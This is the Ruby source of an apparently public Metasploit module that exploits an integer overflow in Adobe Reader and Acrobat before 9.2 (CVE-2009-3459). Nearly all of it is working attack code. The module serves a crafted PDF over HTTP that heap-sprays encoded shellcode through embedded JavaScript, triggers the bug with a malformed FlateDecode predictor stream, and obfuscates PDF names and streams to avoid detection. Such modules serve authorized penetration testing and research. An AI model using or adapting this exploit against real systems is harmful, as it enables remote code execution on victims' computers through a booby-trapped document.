Path: blob/master/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::Remote::HttpServer::HTML1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Adobe FlateDecode Stream Predictor 02 Integer Overflow',17'Description' => %q{18This module exploits an integer overflow vulnerability in Adobe Reader and Adobe19Acrobat Professional versions before 9.2.20},21'License' => MSF_LICENSE,22'Author' => [23'unknown', # Found in the wild24# Metasploit version by:25'jduck',26'jabra'27],28'References' => [29[ 'CVE', '2009-3459' ],30[ 'BID', '36600' ],31[ 'OSVDB', '58729' ],32[ 'URL', 'http://web.archive.org/web/20201207001443/https://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html/' ],33[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]34],35'DefaultOptions' => {36'EXITFUNC' => 'process',37},38'Payload' => {39'Space' => 1024,40'BadChars' => "\x00",41'DisableNops' => true42},43'Platform' => 'win',44'Targets' => [45# test results (on Windows XP SP3)46# reader 7.0.5 - untested47# reader 7.0.8 - untested48# reader 7.0.9 - untested49# reader 7.1.0 - untested50# reader 7.1.1 - untested51# reader 8.0.0 - untested52# reader 8.1.2 - untested53# reader 8.1.3 - untested54# reader 8.1.4 - untested55# reader 8.1.5 - untested56# reader 8.1.6 - untested57# reader 9.0.0 - untested58# reader 9.1.0 - works!59# reader 9.2 - not vulnerable60[61'Adobe Reader Windows Universal (JS Heap Spray)',62{63'Size' => ((1024 * 1024) - 32)64}65],66],67'DisclosureDate' => '2009-10-08',68'DefaultTarget' => 0,69'Notes' => {70'Reliability' => UNKNOWN_RELIABILITY,71'Stability' => UNKNOWN_STABILITY,72'SideEffects' => UNKNOWN_SIDE_EFFECTS73}74)75)76end7778def autofilter79false80end8182def check_dependencies83use_zlib84end8586def on_request_uri(cli, request)87return if ((p = regenerate_payload(cli)) == nil)8889# Encode the shellcode.90shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))9192# Make some nops93nops = Rex::Text.to_unescape(make_nops(4))94randnop = rand_text_alpha(rand(100) + 1)9596# Randomize variables97rand1 = rand_text_alpha(rand(100) + 1)98rand2 = rand_text_alpha(rand(100) + 1)99100script = %Q|101var #{rand1} = unescape("#{shellcode}");102var #{randnop} = "#{nops}";103var #{rand2} = unescape(#{randnop});104while (#{rand2}.length < #{target['Size']}) #{rand2} += #{rand2};105#{rand2} = #{rand2}.substring(0, #{target['Size']} - #{rand1}.length);106memory = new Array();107for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; }108|109# Create the pdf110pdf = make_pdf(script)111112print_status("Sending #{self.name}")113114send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })115116handler(cli)117end118119def random_non_ascii_string(count)120result = ""121count.times do122result << (rand(128) + 128).chr123end124result125end126127def io_def(id)128"%d 0 obj" % id129end130131def io_ref(id)132"%d 0 R" % id133end134135# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/136def n_obfu(str)137result = ""138str.scan(/./u) do |c|139if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'140result << "#%x" % c.unpack("C*")[0]141else142result << c143end144end145result146end147148def ascii_hex_whitespace_encode(str)149result = ""150whitespace = ""151str.each_byte do |b|152result << whitespace << "%02x" % b153whitespace = " " * (rand(3) + 1)154end155result << ">"156end157158def make_flate_data()159# NOTE: this data is from the original, in-the-wild exploit...160# on 9.1.0 xpsp3, this causes a crash executing 0x70000000161# that's not exactly a fun address to try to heap spray to162bpc = 1163data = "\x00\x00\x20\x00\x00\x00\x10"164165# this way, we can adjust dwords on the heap by 8-bits of data..166# this leads to eip being around 0x1000xxxx, much more friendly167bpc = 8168addend = 9169data = "\x00" * 64170data[18, 1] = [addend].pack('C')171data[51, 1] = [addend].pack('C')172173return bpc, data174end175176def make_pdf(js)177xref = []178eol = "\x0d\x0a"179endobj = "endobj" << eol180181# Randomize PDF version?182pdf = "%PDF-1.5" << eol183pdf << "%" << random_non_ascii_string(4) << eol184185xref << pdf.length186pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2)187pdf << n_obfu("/Pages ") << io_ref(3)188pdf << n_obfu("/OpenAction ") << io_ref(5)189pdf << ">>" << endobj190191xref << pdf.length192pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj193194xref << pdf.length195pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj196197xref << pdf.length198pdf << io_def(4) << n_obfu("<</Contents ") << io_ref(7)199pdf << n_obfu("/Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj200201xref << pdf.length202pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj203204xref << pdf.length205compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))206pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol207pdf << "stream" << eol208pdf << compressed << eol209pdf << "endstream" << eol210pdf << endobj211212# generate data for inside the flate'd stream213bits_per_component, data = make_flate_data()214compressed = Zlib::Deflate.deflate(data)215216xref << pdf.length217pdf << io_def(7) << n_obfu("<</DecodeParms")218pdf << n_obfu("<</Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s>>" % bits_per_component)219pdf << n_obfu("/Length %s/Filter/FlateDecode>>" % compressed.length)220pdf << "stream" << eol221pdf << compressed << eol222pdf << "endstream" << eol223pdf << endobj224225xrefPosition = pdf.length226pdf << "xref" << eol227pdf << "0 %d" % (xref.length + 1) << eol228pdf << "0000000000 65535 f" << eol229xref.each do |index|230pdf << "%010d 00000 n" % index << eol231end232pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol233pdf << "startxref" << eol234pdf << xrefPosition.to_s() << eol235pdf << "%%EOF" << eol236end237end238239240